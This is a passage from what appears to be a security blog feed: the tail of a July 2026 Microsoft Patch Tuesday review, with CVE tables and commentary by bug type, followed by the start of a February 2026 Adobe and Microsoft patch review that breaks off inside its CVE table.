CVE-2026-50383	Windows Print Spooler Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57085	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50469	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50434	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50339	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50430	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50334	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-44800	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50363	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50431	Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50372	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50666	Windows Remote Access Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56647	Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50330	Windows Remote Desktop Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50376	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50504	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58533	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58535	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58546	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58539	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55003	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57979	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50445	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50497	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54126	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57982	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50369	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58626	Windows Remote Desktop Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-55014	Windows Remote Help Defense Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50318	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50407	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50357	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50441	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50668	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-54109	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49792	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49793	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50362	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50492	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50501	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58530	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49791	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50451	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-57096	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50323	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50452	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50348	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50345	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50322	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50340	Windows Runtime Elevation of Privilege Vulnerability	Important	8.5	No	No	EoP
CVE-2026-50410	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50449	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50460	Windows Runtime Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50403	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50385	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50413	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50457	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50486	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50503	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54125	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58527	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50373	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50679	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-44806	Windows Secure Channel Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-50681	Windows Secure Channel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56186	Windows Secure Channel Information Disclosure Vulnerability	Important	8.1	No	No	Info
CVE-2026-50367	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58619	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50311	Windows Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50328	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-58531	Windows SMB Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-54997	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-49801	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50690	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56168	Windows SMB Server Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50360	Windows SMB Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57089	Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50333	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50298	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49171	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-49170	Windows StateRepository API Server file Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58526	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50299	Windows Storage Spaces Direct Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-57968	Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57973	Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability	Important	6.3	No	No	Tampering
CVE-2026-50418	Windows System Secure Feature Bypass Vulnerability	Important	5.1	No	No	SFB
CVE-2026-50306	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50307	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49177	Windows TCP/IP Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50669	Windows Telephony Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50350	Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50326	Windows Unified Consent System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49790	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50498	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58547	Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-49794	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	4.6	No	No	Info
CVE-2026-50453	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-58528	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-50321	Windows USB Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50479	Windows USB Hub Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55000	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	6.4	No	No	EoP
CVE-2026-54991	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54996	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49802	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49806	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50674	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49804	Windows USB Video Driver Elevation of Privilege Vulnerability	Important	6.6	No	No	EoP
CVE-2026-50454	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49176	Windows WalletService Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49800	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50480	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56173	Windows WebView Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58632	Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54107	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-54986	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54112	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54114	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50670	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50688	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50687	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56176	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58628	Windows Wireless Network Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50295	Windows Zero Trust DNS Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-50509	Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55945	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	4.2	No	No	Info
CVE-2026-45488	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-45489	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-55145	Outlook Copilot Tampering Vulnerability	Moderate	6.3	No	No	Tampering
CVE-2026-56181	Windows Network Address Translation (NAT) Spoofing Vulnerability	Moderate	8.3	No	No	Spoofing
CVE-2026-58597	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.

I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.

Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.

That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.

The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.

And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.

There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.

There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.

The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.

Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.

Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.

Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network. The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”. HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The February 2026 Security Update Review

Sat, 25 Jul 2026 19:00:44 +0200

I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for February 2026

For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for After Effects, which fixes 13 Critical and two Important rated bugs. The patch for Substance 3D Designer is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for Substance 3D Stager corrects five Critical-rated bugs that could lead to code execution. The Audition patch fixes six bugs, but only one is Critical.

The other patches are smaller in size. The fix for the Adobe DNG Software Development Kit (SDK) corrects two Critical and two Important-rated bugs. The InDesign patch fixes three bugs, but only one is Critical. The update for Adobe Bridge fixes two Critical bug that could lead to code execution. The patch for Lightroom Classic addresses a single Critical bug, and the release is wrapped up with a patch for Substance 3D Modeler that fixes a single, Important-rated memory link.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for February 2026

This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.

It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration.

Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack:

- CVE-2026-21510 - Windows Shell Security Feature Bypass Vulnerability
This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.

- CVE-2026-21514 - Microsoft Word Security Feature Bypass Vulnerability
This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is not an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.

- CVE-2026-21519 - Desktop Window Manager Elevation of Privilege Vulnerability
This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.

- CVE-2026-21533 - Windows Remote Desktop Services Elevation of Privilege Vulnerability
Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.

- CVE-2026-21513 - Internet Explorer Security Feature Bypass Vulnerability
Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.

- CVE-2026-21525 - Windows Remote Access Connection Manager Denial of Service Vulnerability
It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.

Here’s the full list of CVEs released by Microsoft for February 2026:

CVE	Title	Severity	CVSS	Public	Exploited	TYPE
CVE-2026-21514	Microsoft Word Security Feature Bypass Vulnerability	Important	7.8	Yes	Yes	SFB
CVE-2026-21510	Windows Shell Security Feature Bypass Vulnerability	Important	8.8	Yes	Yes	SFB
CVE-2026-21513	Internet Explorer Security Feature Bypass Vulnerability	Important	8.8	Yes	Yes	SFB
CVE-2026-21519	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-21533	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-21525	Windows Remote Access Connection Manager Denial of Service Vulnerability	Moderate	6.2	No	Yes	DoS
CVE-2026-21511	Microsoft Outlook Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2023-2804 *	Red Hat, Inc. CVE-2023-2804: Heap Based Overflow libjpeg-turbo	Important	6.5	Yes	No	RCE
CVE-2026-24302	Azure Arc Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-24300	Azure Front Door Elevation of Privilege Vulnerability	Critical	9.8	No	No	EoP
CVE-2026-21532	Azure Function Information Disclosure Vulnerability	Critical	8.2	No	No	Info
CVE-2026-21522	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-23655	Microsoft ACI Confidential Containers Information Disclosure Vulnerability	Critical	6.5	No	No	Info
CVE-2026-21218	.NET and Visual Studio Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-21512	Azure DevOps Server Cross-Site Scripting Vulnerability	Important	6.5	No	No	XSS
CVE-2026-21529 †	Azure HDInsight Spoofing Vulnerability	Important	5.7	No	No	Spoofing
CVE-2026-21528	Azure IoT Explorer Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-21228	Azure Local Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-21531	Azure SDK for Python Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-21251	Cluster Client Failover (CCF) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-20846	GDI+ Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-21523	GitHub Copilot and Visual Studio Code Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-21518	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-21257	GitHub Copilot and Visual Studio Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-21256	GitHub Copilot and Visual Studio Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21516	GitHub Copilot for Jetbrains Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21253	Mailslot File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21537 †	Microsoft Defender for Endpoint Linux Extension Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21259	Microsoft Excel Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-21258	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-21261	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-21527	Microsoft Exchange Server Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-21260	Microsoft Outlook Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-21229	Power BI Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-21236	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21238	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21241	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21517	Windows App for Mac Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21234	Windows Connected Devices Platform Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21235	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-21246	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21232	Windows HTTP.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21240	Windows HTTP.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21250	Windows HTTP.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21244	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-21247	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-21248	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-21255	Windows Hyper-V Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
